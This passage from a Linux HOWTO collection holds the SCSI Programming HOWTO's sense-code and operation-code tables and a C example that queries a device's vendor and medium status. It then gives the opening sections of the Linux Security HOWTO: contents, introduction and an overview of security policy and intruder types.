|  5A  00   DTLPWRSOM   OPERATOR REQUEST OR STATE CHANGE INPUT (UNSPECIFIED)  |
|  5A  01   DT  WR OM   OPERATOR MEDIUM REMOVAL REQUEST                       |
|  5A  02   DT  W  O    OPERATOR SELECTED WRITE PROTECT                       |
|  5A  03   DT  W  O    OPERATOR SELECTED WRITE PERMIT                        |
|  5B  00   DTLPWRSOM   LOG EXCEPTION                                         |
|  5B  01   DTLPWRSOM   THRESHOLD CONDITION MET                               |
|  5B  02   DTLPWRSOM   LOG COUNTER AT MAXIMUM                                |
|  5B  03   DTLPWRSOM   LOG LIST CODES EXHAUSTED                              |
|  5C  00   D   O       RPL STATUS CHANGE                                     |
|  5C  01   D   O       SPINDLES SYNCHRONIZED                                 |
|  5C  02   D   O       SPINDLES NOT SYNCHRONIZED                             |
|  5D  00                                                                     |
|  5E  00                                                                     |
|  5F  00                                                                     |
|  60  00         S     LAMP FAILURE                                          |
|  61  00         S     VIDEO ACQUISITION ERROR                               |
|  61  01         S     UNABLE TO ACQUIRE VIDEO                               |
|  61  02         S     OUT OF FOCUS                                          |
|  62  00         S     SCAN HEAD POSITIONING ERROR                           |
|  63  00        R      END OF USER AREA ENCOUNTERED ON THIS TRACK            |
|  64  00        R      ILLEGAL MODE FOR THIS TRACK                           |
|  65  00                                                                     |
|  66  00                                                                     |
|  67  00                                                                     |
|  68  00                                                                     |
|  69  00                                                                     |
|  6A  00                                                                     |
|  6B  00                                                                     |
|  6C  00                                                                     |
|  6D  00                                                                     |
|  6E  00                                                                     |
|  6F  00                                                                     |
+=============================================================================+

Table 364: (concluded)
+=============================================================================+
|           D - DIRECT ACCESS DEVICE                                          |
|           .T - SEQUENTIAL ACCESS DEVICE                                     |
|           . L - PRINTER DEVICE                                              |
|           .  P - PROCESSOR DEVICE                                           |
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE                           |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
|  70  00                                                                     |
|  71  00                                                                     |
|  72  00                                                                     |
|  73  00                                                                     |
|  74  00                                                                     |
|  75  00                                                                     |
|  76  00                                                                     |
|  77  00                                                                     |
|  78  00                                                                     |
|  79  00                                                                     |
|  7A  00                                                                     |
|  7B  00                                                                     |
|  7C  00                                                                     |
|  7D  00                                                                     |
|  7E  00                                                                     |
|  7F  00                                                                     |
|                                                                             |
|  80  xxh \                                                                  |
|   THROUGH >  VENDOR SPECIFIC.                                               |
|  FF  xxh /                                                                  |
|                                                                             |
|  xxh 80 \                                                                   |
|  THROUGH >  VENDOR SPECIFIC QUALIFICATION OF STANDARD ASC.                  |
|  xxh FF /                                                                   |
|               ALL CODES NOT SHOWN OR BLANK ARE RESERVED.                    |
+=============================================================================+


The Linux SCSI programming HOWTO: A SCSI command code quick reference

 Next Previous Contents

23. A SCSI command code quick reference

Table 365 is a numerical order listing of the command operation codes.

                        Table 365: SCSI-2 Operation Codes

+=============================================================================+
|           D - DIRECT ACCESS DEVICE                       Device Column Key  |
|           .T - SEQUENTIAL ACCESS DEVICE                  M = Mandatory      |
|           . L - PRINTER DEVICE                           O = Optional       |
|           .  P - PROCESSOR DEVICE                        V = Vendor Specific|
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE        R = Reserved       |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
|        OP DTLPWRSOMC Description                                            |
|----------+----------+-------------------------------------------------------|
|        00 MMMMMMMMMM TEST UNIT READY                                        |
|        01  M         REWIND                                                 |
|        01 O V OO OO  REZERO UNIT                                            |
|        02 VVVVVV  V                                                         |
|        03 MMMMMMMMMM REQUEST SENSE                                          |
|        04   O        FORMAT                                                 |
|        04 M      O   FORMAT UNIT                                            |
|        05 VMVVVV  V  READ BLOCK LIMITS                                      |
|        06 VVVVVV  V                                                         |
|        07         O  INITIALIZE ELEMENT STATUS                              |
|        07 OVV O  OV  REASSIGN BLOCKS                                        |
|        08          M GET MESSAGE(06)                                        |
|        08 OMV OO OV  READ(06)                                               |
|        08    O       RECEIVE                                                |
|        09 VVVVVV  V                                                         |
|        0A   M        PRINT                                                  |
|        0A          M SEND MESSAGE(06)                                       |
|        0A    M       SEND(06)                                               |
|        0A OM  O  OV  WRITE(06)                                              |
|        0B O   OO OV  SEEK(06)                                               |
|        0B   O        SLEW AND PRINT                                         |
|        0C VVVVVV  V                                                         |
|        0D VVVVVV  V                                                         |
|        0E VVVVVV  V                                                         |
|        0F VOVVVV  V  READ REVERSE                                           |
|        10   O O      SYNCHRONIZE BUFFER                                     |
|        10 VM VVV     WRITE FILEMARKS                                        |
|        11 VMVVVV     SPACE                                                  |
|        12 MMMMMMMMMM INQUIRY                                                |
|        13 VOVVVV     VERIFY(06)                                             |
|        14 VOOVVV     RECOVER BUFFERED DATA                                  |
|        15 OMO OOOOOO MODE SELECT(06)                                        |
|        16 M   MM MO  RESERVE                                                |
|        16  MM   M    RESERVE UNIT                                           |
|        17 M   MM MO  RELEASE                                                |
|        17  MM   M    RELEASE UNIT                                           |
|        18 OOOOOOOO   COPY                                                   |
|        19 VMVVVV     ERASE                                                  |
|        1A OMO OOOOOO MODE SENSE(06)                                         |
|        1B  O         LOAD UNLOAD                                            |
|        1B       O    SCAN                                                   |
|        1B   O        STOP PRINT                                             |
|        1B O   OO O   STOP START UNIT                                        |
+=============================================================================+

Table 365: (continued)
+=============================================================================+
|           D - DIRECT ACCESS DEVICE                       Device Column Key  |
|           .T - SEQUENTIAL ACCESS DEVICE                  M = Mandatory      |
|           . L - PRINTER DEVICE                           O = Optional       |
|           .  P - PROCESSOR DEVICE                        V = Vendor Specific|
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE        R = Reserved       |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
|        OP DTLPWRSOMC Description                                            |
|----------+----------+-------------------------------------------------------|
|        1C OOOOOOOOOO RECEIVE DIAGNOSTIC RESULTS                             |
|        1D MMMMMMMMMM SEND DIAGNOSTIC                                        |
|        1E OO  OO OO  PREVENT ALLOW MEDIUM REMOVAL                           |
|        1F                                                                   |
|        20 V   VV V                                                          |
|        21 V   VV V                                                          |
|        22 V   VV V                                                          |
|        23 V   VV V                                                          |
|        24 V   VVM    SET WINDOW                                             |
|        25       O    GET WINDOW                                             |
|        25 M   M  M   READ CAPACITY                                          |
|        25      M     READ CD-ROM CAPACITY                                   |
|        26 V   VV                                                            |
|        27 V   VV                                                            |
|        28          O GET MESSAGE(10)                                        |
|        28 M   MMMM   READ(10)                                               |
|        29 V   VV O   READ GENERATION                                        |
|        2A          O SEND MESSAGE(10)                                       |
|        2A       O    SEND(10)                                               |
|        2A M   M  M   WRITE(10)                                              |
|        2B  O         LOCATE                                                 |
|        2B         O  POSITION TO ELEMENT                                    |
|        2B O   OO O   SEEK(10)                                               |
|        2C V      O   ERASE(10)                                              |
|        2D V   O  O   READ UPDATED BLOCK                                     |
|        2E O   O  O   WRITE AND VERIFY(10)                                   |
|        2F O   OO O   VERIFY(10)                                             |
|        30 O   OO O   SEARCH DATA HIGH(10)                                   |
|        31       O    OBJECT POSITION                                        |
|        31 O   OO O   SEARCH DATA EQUAL(10)                                  |
|        32 O   OO O   SEARCH DATA LOW(10)                                    |
|        33 O   OO O   SET LIMITS(10)                                         |
|        34       O    GET DATA BUFFER STATUS                                 |
|        34 O   OO O   PRE-FETCH                                              |
|        34  O         READ POSITION                                          |
|        35 O   OO O   SYNCHRONIZE CACHE                                      |
|        36 O   OO O   LOCK UNLOCK CACHE                                      |
|        37 O      O   READ DEFECT DATA(10)                                   |
|        38     O  O   MEDIUM SCAN                                            |
|        39 OOOOOOOO   COMPARE                                                |
|        3A OOOOOOOO   COPY AND VERIFY                                        |
|        3B OOOOOOOOOO WRITE BUFFER                                           |
|        3C OOOOOOOOOO READ BUFFER                                            |
|        3D     O  O   UPDATE BLOCK                                           |
|        3E O   OO O   READ LONG                                              |
|        3F O   O  O   WRITE LONG                                             |
+=============================================================================+

Table 365: (continued)
+=============================================================================+
|           D - DIRECT ACCESS DEVICE                       Device Column Key  |
|           .T - SEQUENTIAL ACCESS DEVICE                  M = Mandatory      |
|           . L - PRINTER DEVICE                           O = Optional       |
|           .  P - PROCESSOR DEVICE                        V = Vendor Specific|
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE        R = Reserved       |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
|        OP DTLPWRSOMC Description                                            |
|----------+----------+-------------------------------------------------------|
|        40 OOOOOOOOOO CHANGE DEFINITION                                      |
|        41 O          WRITE SAME                                             |
|        42      O     READ SUB-CHANNEL                                       |
|        43      O     READ TOC                                               |
|        44      O     READ HEADER                                            |
|        45      O     PLAY AUDIO(10)                                         |
|        46                                                                   |
|        47      O     PLAY AUDIO MSF                                         |
|        48      O     PLAY AUDIO TRACK INDEX                                 |
|        49      O     PLAY TRACK RELATIVE(10)                                |
|        4A                                                                   |
|        4B      O     PAUSE RESUME                                           |
|        4C OOOOOOOOOO LOG SELECT                                             |
|        4D OOOOOOOOOO LOG SENSE                                              |
|        4E                                                                   |
|        4F                                                                   |
|        50                                                                   |
|        51                                                                   |
|        52                                                                   |
|        53                                                                   |
|        54                                                                   |
|        55 OOO OOOOOO MODE SELECT(10)                                        |
|        56                                                                   |
|        57                                                                   |
|        58                                                                   |
|        59                                                                   |
|        5A OOO OOOOOO MODE SENSE(10)                                         |
|        5B                                                                   |
|        5C                                                                   |
|        5D                                                                   |
|        5E                                                                   |
|        5F                                                                   |
+=============================================================================+

Table 365: (concluded)
+=============================================================================+
|           D - DIRECT ACCESS DEVICE                       Device Column Key  |
|           .T - SEQUENTIAL ACCESS DEVICE                  M = Mandatory      |
|           . L - PRINTER DEVICE                           O = Optional       |
|           .  P - PROCESSOR DEVICE                        V = Vendor Specific|
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE        R = Reserved       |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
|        OP DTLPWRSOMC Description                                            |
|----------+----------+-------------------------------------------------------|
|        A0                                                                   |
|        A1                                                                   |
|        A2                                                                   |
|        A3                                                                   |
|        A4                                                                   |
|        A5         M  MOVE MEDIUM                                            |
|        A5      O     PLAY AUDIO(12)                                         |
|        A6         O  EXCHANGE MEDIUM                                        |
|        A7                                                                   |
|        A8          O GET MESSAGE(12)                                        |
|        A8     OO O   READ(12)                                               |
|        A9      O     PLAY TRACK RELATIVE(12)                                |
|        AA          O SEND MESSAGE(12)                                       |
|        AA     O  O   WRITE(12)                                              |
|        AB                                                                   |
|        AC        O   ERASE(12)                                              |
|        AD                                                                   |
|        AE     O  O   WRITE AND VERIFY(12)                                   |
|        AF     OO O   VERIFY(12)                                             |
|        B0     OO O   SEARCH DATA HIGH(12)                                   |
|        B1     OO O   SEARCH DATA EQUAL(12)                                  |
|        B2     OO O   SEARCH DATA LOW(12)                                    |
|        B3     OO O   SET LIMITS(12)                                         |
|        B4                                                                   |
|        B5                                                                   |
|        B5         O  REQUEST VOLUME ELEMENT ADDRESS                         |
|        B6                                                                   |
|        B6         O  SEND VOLUME TAG                                        |
|        B7        O   READ DEFECT DATA(12)                                   |
|        B8                                                                   |
|        B8         O  READ ELEMENT STATUS                                    |
|        B9                                                                   |
|        BA                                                                   |
|        BB                                                                   |
|        BC                                                                   |
|        BD                                                                   |
|        BE                                                                   |
|        BF                                                                   |
+=============================================================================+


The Linux SCSI programming HOWTO: Example programs

 Next Previous Contents

24. Example programs

Here is the C example program, which requests manufacturer/model and reports if a medium is loaded in the device.

#define DEVICE "/dev/sgc"
/* Example program to demonstrate the generic SCSI interface */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <scsi/sg.h>

#define SCSI_OFF sizeof(struct sg_header)
static unsigned char cmd[SCSI_OFF + 18];      /* SCSI command buffer */
int fd;                               /* SCSI device/file descriptor */

/* process a complete scsi cmd. Use the generic scsi interface. */
static int handle_scsi_cmd(unsigned cmd_len,         /* command length */
                           unsigned in_size,         /* input data size */
                           unsigned char *i_buff,    /* input buffer */
                           unsigned out_size,        /* output data size */
                           unsigned char *o_buff     /* output buffer */
                           )
{
    int status = 0;
    struct sg_header *sg_hd;

    /* safety checks */
    if (!cmd_len) return -1;            /* need a cmd_len != 0 */
    if (!i_buff) return -1;             /* need an input buffer != NULL */
#ifdef SG_BIG_BUFF
    if (SCSI_OFF + cmd_len + in_size > SG_BIG_BUFF) return -1;
    if (SCSI_OFF + out_size > SG_BIG_BUFF) return -1;
#else
    if (SCSI_OFF + cmd_len + in_size > 4096) return -1;
    if (SCSI_OFF + out_size > 4096) return -1;
#endif

    if (!o_buff) out_size = 0;

    /* generic scsi device header construction */
    sg_hd = (struct sg_header *) i_buff;
    sg_hd->reply_len   = SCSI_OFF + out_size;
    sg_hd->twelve_byte = cmd_len == 12;
    sg_hd->result = 0;
#if     0
    sg_hd->pack_len    = SCSI_OFF + cmd_len + in_size; /* not necessary */
    sg_hd->pack_id;     /* not used */
    sg_hd->other_flags; /* not used */
#endif

    /* send command */
    status = write( fd, i_buff, SCSI_OFF + cmd_len + in_size );
    if ( status < 0 || status != SCSI_OFF + cmd_len + in_size ||
                       sg_hd->result ) {
        /* some error happened */
        fprintf( stderr, "write(generic) result = 0x%x cmd = 0x%x\n",
                    sg_hd->result, i_buff[SCSI_OFF] );
        perror("");
        return status;
    }

    if (!o_buff) o_buff = i_buff;       /* buffer pointer check */

    /* retrieve result */
    status = read( fd, o_buff, SCSI_OFF + out_size);
    if ( status < 0 || status != SCSI_OFF + out_size || sg_hd->result ) {
        /* some error happened */
        fprintf( stderr, "read(generic) result = 0x%x cmd = 0x%x\n",
                sg_hd->result, o_buff[SCSI_OFF] );
        fprintf( stderr, "read(generic) sense "
                "%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x\n",
                sg_hd->sense_buffer[0],         sg_hd->sense_buffer[1],
                sg_hd->sense_buffer[2],         sg_hd->sense_buffer[3],
                sg_hd->sense_buffer[4],         sg_hd->sense_buffer[5],
                sg_hd->sense_buffer[6],         sg_hd->sense_buffer[7],
                sg_hd->sense_buffer[8],         sg_hd->sense_buffer[9],
                sg_hd->sense_buffer[10],        sg_hd->sense_buffer[11],
                sg_hd->sense_buffer[12],        sg_hd->sense_buffer[13],
                sg_hd->sense_buffer[14],        sg_hd->sense_buffer[15]);
        if (status < 0)
            perror("");
    }
    /* Look if we got what we expected to get */
    if (status == SCSI_OFF + out_size) status = 0; /* got them all */

    return status;  /* 0 means no error */
}

#define INQUIRY_CMD     0x12
#define INQUIRY_CMDLEN  6
#define INQUIRY_REPLY_LEN 96
#define INQUIRY_VENDOR  8       /* Offset in reply data to vendor name */

/* request vendor brand and model */
static unsigned char *Inquiry ( void )
{
  unsigned char Inqbuffer[ SCSI_OFF + INQUIRY_REPLY_LEN ];
  unsigned char cmdblk [ INQUIRY_CMDLEN ] =
      { INQUIRY_CMD,  /* command */
                  0,  /* lun/reserved */
                  0,  /* page code */
                  0,  /* reserved */
  INQUIRY_REPLY_LEN,  /* allocation length */
                  0 };/* reserved/flag/link */

  memcpy( cmd + SCSI_OFF, cmdblk, sizeof(cmdblk) );

  /*
   * +------------------+
   * | struct sg_header | <- cmd
   * +------------------+
   * | copy of cmdblk   | <- cmd + SCSI_OFF
   * +------------------+
   */

  if (handle_scsi_cmd(sizeof(cmdblk), 0, cmd,
                      sizeof(Inqbuffer) - SCSI_OFF, Inqbuffer )) {
      fprintf( stderr, "Inquiry failed\n" );
      exit(2);
  }
  return (Inqbuffer + SCSI_OFF);
}

#define TESTUNITREADY_CMD 0
#define TESTUNITREADY_CMDLEN 6

#define ADD_SENSECODE 12
#define ADD_SC_QUALIFIER 13
#define NO_MEDIA_SC 0x3a
#define NO_MEDIA_SCQ 0x00
int TestForMedium ( void )
{
  /* request READY status */
  static unsigned char cmdblk [TESTUNITREADY_CMDLEN] = {
      TESTUNITREADY_CMD, /* command */
                      0, /* lun/reserved */
                      0, /* reserved */
                      0, /* reserved */
                      0, /* reserved */
                      0};/* reserved */

  memcpy( cmd + SCSI_OFF, cmdblk, sizeof(cmdblk) );

  /*
   * +------------------+
   * | struct sg_header | <- cmd
   * +------------------+
   * | copy of cmdblk   | <- cmd + SCSI_OFF
   * +------------------+
   */

  if (handle_scsi_cmd(sizeof(cmdblk), 0, cmd,
                            0, NULL)) {
      fprintf (stderr, "Test unit ready failed\n");
      exit(2);
  }

  return
   *(((struct sg_header*)cmd)->sense_buffer +ADD_SENSECODE) !=
                                                        NO_MEDIA_SC ||
   *(((struct sg_header*)cmd)->sense_buffer +ADD_SC_QUALIFIER) !=
                                                        NO_MEDIA_SCQ;
}

void main( void )
{
  fd = open(DEVICE, O_RDWR);
  if (fd < 0) {
    fprintf( stderr, "Need read/write permissions for "DEVICE".\n" );
    exit(1);
  }

  /* print some fields of the Inquiry result */
  printf( "%s\n", Inquiry() + INQUIRY_VENDOR );

  /* look if medium is loaded */
  if (!TestForMedium()) {
    printf("device is unloaded\n");
  } else {
    printf("device is loaded\n");
  }
}


Linux Security HOWTO

Kevin Fenzi, kevin-securityhowto@tummy.com & Dave Wreski, dave@linuxsecurity.com

v1.3.1, 11 February 2002

This document is a general overview of security issues that face the administrator of Linux systems. It covers general security philosophy and a number of specific examples of how to better secure your Linux system from intruders. Also included are pointers to security-related material and programs. Improvements, constructive criticism, additions and corrections are gratefully accepted. Please mail your feedback to both authors, with "Security HOWTO" in the subject.

1. Introduction

  • 1.1 New Versions of this Document
  • 1.2 Feedback
  • 1.3 Disclaimer
  • 1.4 Copyright Information

2. Overview

  • 2.1 Why Do We Need Security?
  • 2.2 How Secure Is Secure?
  • 2.3 What Are You Trying to Protect?
  • 2.4 Developing A Security Policy
  • 2.5 Means of Securing Your Site
  • 2.6 Organization of This Document

3. Physical Security

  • 3.1 Computer locks
  • 3.2 BIOS Security
  • 3.3 Boot Loader Security
  • 3.4 xlock and vlock
  • 3.5 Security of local devices
  • 3.6 Detecting Physical Security Compromises

4. Local Security

  • 4.1 Creating New Accounts
  • 4.2 Root Security

5. Files and File system Security

  • 5.1 Umask Settings
  • 5.2 File Permissions
  • 5.3 Integrity Checking
  • 5.4 Trojan Horses

6. Password Security and Encryption

  • 6.1 PGP and Public-Key Cryptography
  • 6.2 SSL, S-HTTP and S/MIME
  • 6.3 Linux IPSEC Implementations
  • 6.4 ssh (Secure Shell) and stelnet
  • 6.5 PAM - Pluggable Authentication Modules
  • 6.6 Cryptographic IP Encapsulation (CIPE)
  • 6.7 Kerberos
  • 6.8 Shadow Passwords.
  • 6.9 "Crack" and "John the Ripper"
  • 6.10 CFS - Cryptographic File System and TCFS - Transparent Cryptographic File System
  • 6.11 X11, SVGA and display security

7. Kernel Security

  • 7.1 2.0 Kernel Compile Options
  • 7.2 2.2 Kernel Compile Options
  • 7.3 Kernel Devices

8. Network Security

  • 8.1 Packet Sniffers
  • 8.2 System services and tcp_wrappers
  • 8.3 Verify Your DNS Information
  • 8.4 identd
  • 8.5 Configuring and Securing the Postfix MTA
  • 8.6 SATAN, ISS, and Other Network Scanners
  • 8.7 sendmail, qmail and MTA's
  • 8.8 Denial of Service Attacks
  • 8.9 NFS (Network File System) Security.
  • 8.10 NIS (Network Information Service) (formerly YP).
  • 8.11 Firewalls
  • 8.12 IP Chains - Linux Kernel 2.2.x Firewalling
  • 8.13 Netfilter - Linux Kernel 2.4.x Firewalling
  • 8.14 VPNs - Virtual Private Networks

9. Security Preparation (before you go on-line)

  • 9.1 Make a Full Backup of Your Machine
  • 9.2 Choosing a Good Backup Schedule
  • 9.3 Testing your backups
  • 9.4 Backup Your RPM or Debian File Database
  • 9.5 Keep Track of Your System Accounting Data
  • 9.6 Apply All New System Updates.

10. What To Do During and After a Breakin

  • 10.1 Security Compromise Underway.
  • 10.2 Security Compromise has already happened

11. Security Sources

  • 11.1 LinuxSecurity.com References
  • 11.2 FTP Sites
  • 11.3 Web Sites
  • 11.4 Mailing Lists
  • 11.5 Books - Printed Reading Material

12. Glossary

13. Frequently Asked Questions

14. Conclusion

15. Acknowledgments


Linux Security HOWTO: Introduction

 Next Previous Contents

1. Introduction

This document covers some of the main issues that affect Linux security. General philosophy and net-born resources are discussed.

A number of other HOWTO documents overlap with security issues, and those documents have been pointed to wherever appropriate.

This document is not meant to be a up-to-date exploits document. Large numbers of new exploits happen all the time. This document will tell you where to look for such up-to-date information, and will give some general methods to prevent such exploits from taking place.

1.1 New Versions of this Document

New versions of this document will be periodically posted to comp.os.linux.answers. They will also be added to the various sites that archive such information, including:

http://www.linuxdoc.org/

The very latest version of this document should also be available in various formats from:

  • http://scrye.com/~kevin/lsh/

  • http://www.linuxsecurity.com/docs/Security-HOWTO

  • http://www.tummy.com/security-howto

1.2 Feedback

All comments, error reports, additional information and criticism of all sorts should be directed to:

kevin-securityhowto@tummy.com

and

dave@linuxsecurity.com

Note: Please send your feedback to both authors. Also, be sure and include "Linux" "security", or "HOWTO" in your subject to avoid Kevin's spam filter.

1.3 Disclaimer

No liability for the contents of this document can be accepted. Use the concepts, examples and other content at your own risk. Additionally, this is an early version, possibly with many inaccuracies or errors.

A number of the examples and descriptions use the RedHat(tm) package layout and system setup. Your mileage may vary.

As far as we know, only programs that, under certain terms may be used or evaluated for personal purposes will be described. Most of the programs will be available, complete with source, under GNU terms.

1.4 Copyright Information

This document is copyrighted (c)1998-2000 Kevin Fenzi and Dave Wreski, and distributed under the following terms:

  • Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium, physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the authors would like to be notified of any such distributions.
  • All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.
  • If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at

tjbynum@metalab.unc.edu


Linux Security HOWTO: Overview

 Next Previous Contents

2. Overview

This document will attempt to explain some procedures and commonly-used software to help your Linux system be more secure. It is important to discuss some of the basic concepts first, and create a security foundation, before we get started.

2.1 Why Do We Need Security?

In the ever-changing world of global data communications, inexpensive Internet connections, and fast-paced software development, security is becoming more and more of an issue. Security is now a basic requirement because global computing is inherently insecure. As your data goes from point A to point B on the Internet, for example, it may pass through several other points along the way, giving other users the opportunity to intercept, and even alter, it. Even other users on your system may maliciously transform your data into something you did not intend. Unauthorized access to your system may be obtained by intruders, also known as "crackers", who then use advanced knowledge to impersonate you, steal information from you, or even deny you access to your own resources. If you're wondering what the difference is between a "Hacker" and a "Cracker", see Eric Raymond's document, "How to Become A Hacker", available at http://www.tuxedo.org/~esr/faqs/hacker-howto.html.

2.2 How Secure Is Secure?

First, keep in mind that no computer system can ever be completely secure. All you can do is make it increasingly difficult for someone to compromise your system. For the average home Linux user, not much is required to keep the casual cracker at bay. However, for high-profile Linux users (banks, telecommunications companies, etc), much more work is required.

Another factor to take into account is that the more secure your system is, the more intrusive your security becomes. You need to decide where in this balancing act your system will still be usable, and yet secure for your purposes. For instance, you could require everyone dialing into your system to use a call-back modem to call them back at their home number. This is more secure, but if someone is not at home, it makes it difficult for them to login. You could also setup your Linux system with no network or connection to the Internet, but this limits its usefulness.

If you are a medium to large-sized site, you should establish a security policy stating how much security is required by your site and what auditing is in place to check it. You can find a well-known security policy example at http://www.faqs.org/rfcs/rfc2196.html. It has been recently updated, and contains a great framework for establishing a security policy for your company.

2.3 What Are You Trying to Protect?

Before you attempt to secure your system, you should determine what level of threat you have to protect against, what risks you should or should not take, and how vulnerable your system is as a result. You should analyze your system to know what you're protecting, why you're protecting it, what value it has, and who has responsibility for your data and other assets.

  • Risk is the possibility that an intruder may be successful in attempting to access your computer. Can an intruder read or write files, or execute programs that could cause damage? Can they delete critical data? Can they prevent you or your company from getting important work done? Don't forget: someone gaining access to your account, or your system, can also impersonate you.

    Additionally, having one insecure account on your system can result in your entire network being compromised. If you allow a single user to login using a .rhosts file, or to use an insecure service such as tftp, you risk an intruder getting 'his foot in the door'. Once the intruder has a user account on your system, or someone else's system, it can be used to gain access to another system, or another account.

  • Threat is typically from someone with motivation to gain unauthorized access to your network or computer. You must decide whom you trust to have access to your system, and what threat they could pose.

    There are several types of intruders, and it is useful to keep their different characteristics in mind as you are securing your systems.

    • The Curious - This type of intruder is basically interested in finding out what type of system and data you have.
    • The Malicious - This type of intruder is out to either bring down your systems, or deface your web page, or otherwise force you to spend time and money recovering from the damage he has caused.
    • The High-Profile Intruder - This type of intruder is trying to use your system to gain popularity and infamy. He might use your high-profile system to advertise his abilities.
    • The Competition - This type of intruder is interested in what data you have on your system. It might be someone who thinks you have something that could benefit him, financially or otherwise.
    • The Borrowers - This type of intruder is interested in setting up shop on your system and using its resources for their own purposes. He typically will run chat or irc servers, porn archive sites, or even DNS servers.
    • The Leapfrogger - This type of intruder is only interested in your system to use it to get into other systems. If your system is well-connected or a gateway to a number of internal hosts, you may well see this type trying to compromise your system.

  • Vulnerability describes how well-protected your computer is from another network, and the potential for someone to gain unauthorized access.

    What's at stake if someone breaks into your system? Of course the concerns of a dynamic PPP home user will be different from those of a company connecting their machine to the Internet, or another large network.

    How much time would it take to retrieve/recreate any data that was lost? An initial time investment now can save ten times more time later if you have to recreate data that was lost. Have you checked your backup strategy, and verified your data lately?

2.4 Developing A Security Policy

Create a simple, generic policy for your system that your users can readily understand and follow. It should protect the data you're safeguarding as well as the privacy of the users. Some things to consider adding are: who has access to the system (Can my friend use my account?), who's allowed to install software on the system, who owns what data, disaster recovery, and appropriate use of the system.

A generally-accepted security policy starts with the phrase

That which is not permitted is prohibited

This means that unless you grant access to a service for a user, that user shouldn't be using that service until you do grant access. Make sure the policies work on your regular user account. Saying, "Ah, I can't figure out this permissions problem, I'll just do it as root" can lead to security holes that are very obvious, and even ones that haven't been exploited yet.

rfc1244 is a document that describes how to create your own network security policy.

rfc1281 is a document that shows an example security policy with detailed descriptions of each step.

Finally, you might want to look at the COAST policy archive at ftp://coast.cs.purdue.edu/pub/doc/policy to see what some real-life security policies look like.

2.5 Means of Securing Your Site

This document will discuss various means with which you can secure the assets you have worked hard for: your local machine, your data, your users, your network, even your reputation. What would happen to your reputation if an intruder deleted some of your users' data? Or defaced your web site? Or published your company's corporate project plan for next quarter? If you are planning a network installation, there are many factors you must take into account before adding a single machine to your network.

Even if you have a single dial up PPP account, or just a small site, this does not mean intruders won't be interested in your systems. Large, high-profile sites are not the only targets -- many intruders simply want to exploit as many sites as possible, regardless of their size. Additionally, they may use a security hole in your site to gain access to other sites you're connected to.

Intruders have a lot of time on their hands, and can avoid guessing how you've obscured your system just by trying all the possibilities. There are also a number of reasons an intruder may be interested in your systems, which we will discuss later.

Host Security

Perhaps the area of security on which administrators concentrate most is host-based security. This typically involves making sure your own system is secure, and hoping everyone else on your network does the same. Choosing good passwords, securing your host's local network services, keeping good accounting records, and upgrading programs with known security exploits are among the things the local security administrator is responsible for doing. Although this is absolutely necessary, it can become a daunting task once your network becomes larger than a few machines.

Local Network Security

Network security is as necessary as local host security. With hundreds, thousands, or more computers on the same network, you can't rely on each one of those systems being secure. Ensuring that only authorized users can use your network, building firewalls, using strong encryption, and ensuring there are no "rogue" (that is, unsecured) machines on your network are all part of the network security administrator's duties.

This document will discuss some of the techniques used to secure your site, and hopefully show you some of the ways to prevent an intruder from gaining access to what you are trying to protect.

Security Through Obscurity

One type of security that must be discussed is "security through obscurity". This means, for example, moving a service that has known security vulnerabilities to a non-standard port in hopes that attackers won't notice it's there and thus won't exploit it. Rest assured that they can determine that it's there and will exploit it. Security through obscurity is no security at all. Simply because you may have a small site, or a relatively low profile, does not mean an intruder won't be interested in what you have. We'll discuss what you're protecting in the next sections.

2.6 Organization of This Document

